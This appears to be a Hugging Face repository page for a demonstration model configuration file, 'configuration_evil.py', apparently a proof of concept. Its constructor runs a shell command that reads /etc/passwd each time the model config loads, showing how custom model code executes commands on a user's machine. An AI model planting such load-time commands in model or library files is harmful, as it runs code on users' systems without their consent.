evil-model-demo / configuration_evil.py
moyix's picture
Upload model
5fc0489
raw
history blame contribute delete
220 Bytes
from transformers import PretrainedConfig
import os
class EvilConfig(PretrainedConfig):
model_type = "evil"
def __init__(self, **kwargs):
os.system("cat /etc/passwd")
super().__init__(**kwargs)